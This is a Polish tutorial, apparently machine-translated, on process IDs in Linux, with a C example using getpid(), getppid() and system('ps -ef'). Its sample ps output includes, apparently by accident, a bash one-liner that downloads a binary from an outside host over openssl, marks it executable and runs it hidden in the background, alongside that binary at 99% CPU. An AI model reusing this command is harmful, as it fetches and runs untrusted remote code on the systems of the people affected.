Przetwarzać informacje

Zanim przejdziemy do informacji procesowych, musimy wiedzieć kilka rzeczy, takich jak -

Co to jest proces? Proces to program w trakcie.

Co to jest program? Program to plik zawierający informacje o procesie i sposobie jego tworzenia w czasie wykonywania. Po uruchomieniu programu jest on ładowany do pamięci RAM i zaczyna działać.

Każdy proces jest identyfikowany za pomocą unikalnej dodatniej liczby całkowitej nazywanej identyfikatorem procesu lub po prostu PID (numer identyfikacyjny procesu). Jądro zwykle ogranicza identyfikator procesu do 32767, który można konfigurować. Gdy identyfikator procesu osiągnie ten limit, jest ponownie resetowany, czyli po zakresie procesów systemowych. Nieużywane identyfikatory procesów z tego licznika są następnie przypisywane do nowo utworzonych procesów.

Wywołanie systemowe getpid () zwraca identyfikator procesu wywołującego.

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

To wywołanie zwraca identyfikator procesu wywołującego, który na pewno jest unikalny. To wywołanie zawsze kończy się pomyślnie i dlatego nie zwraca żadnej wartości wskazującej na błąd.

Każdy proces ma swój unikalny identyfikator zwany identyfikatorem procesu, który jest w porządku, ale kto go utworzył? Jak zdobyć informacje o jego twórcy? Proces twórczy nazywany jest procesem nadrzędnym. Identyfikator rodzica lub PPID można uzyskać za pomocą wywołania getppid ().

Wywołanie systemowe getppid () zwraca nadrzędny PID procesu wywołującego.

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

To wywołanie zwraca identyfikator procesu nadrzędnego procesu wywołującego. To wywołanie zawsze kończy się pomyślnie i dlatego nie zwraca żadnej wartości wskazującej na błąd.

Zrozummy to na prostym przykładzie.

Poniżej znajduje się program, który zna PID i PPID procesu wywołującego.

File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID's information\n");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d\n", mypid);
   printf("My parent process ID is %d\n", myppid);
   printf("Cross verification of pid's by executing process commands on shell\n");
   system("ps -ef");
   return 0;
}

Po kompilacji i wykonaniu powyższego programu, następujące dane wyjściowe.

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06 /usr/libexec/mysqld 
                                         --basedir = /usr 
                                         --datadir = /var/lib/mysql 
                                         --plugin-dir = /usr/lib64/mysql/plugin 
                                         --user = mysql 
                                         --log-error = /var/log/mariadb/mariadb.log 
                                         --pid-file = /run/mariadb/mariadb.pid 
                                         --socket = /var/lib/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() { 
                                         flag = "false" hsize = 1 
                                         echo -e "GET /$2 HTTP/1.1\nHost: 
                                         $1\nConnection: close\n\n" | 
                                         openssl s_client -timeout -quiet 
                                         -verify_quiet -connect $1:443 2> 
                                         /dev/null | tee out | while read line do
                                         if [[ "$flag" == "false" ]]     
                                         then 
                                         hsize = $((hsize+$(echo $line | wc -c)))
                                         fi
                                         if [[ "${line:1:1}" == "" ]]     
                                         then flag = "true"
                                         fi 
                                         echo $hsize > 
                                         size done tail -c +$(cat size) out > 
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                         /dev/null chmod +x mhawum 2>
                                         /dev/null ./mhawum >
                                         /dev/null 2>
                                         /dev/null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd /home/cg/root/6118874; 
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd /home/cg/root/3787205; 
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell

Note- Funkcja biblioteki „C” system () wykonuje polecenie powłoki. Argumenty przekazywane do system () to polecenia wykonywane w powłoce. W powyższym programie komendą jest „ps”, co daje status procesu.

Pełne informacje o wszystkich uruchomionych procesach i inne informacje związane z systemem są dostępne w systemie plików proc dostępnym w lokalizacji / proc.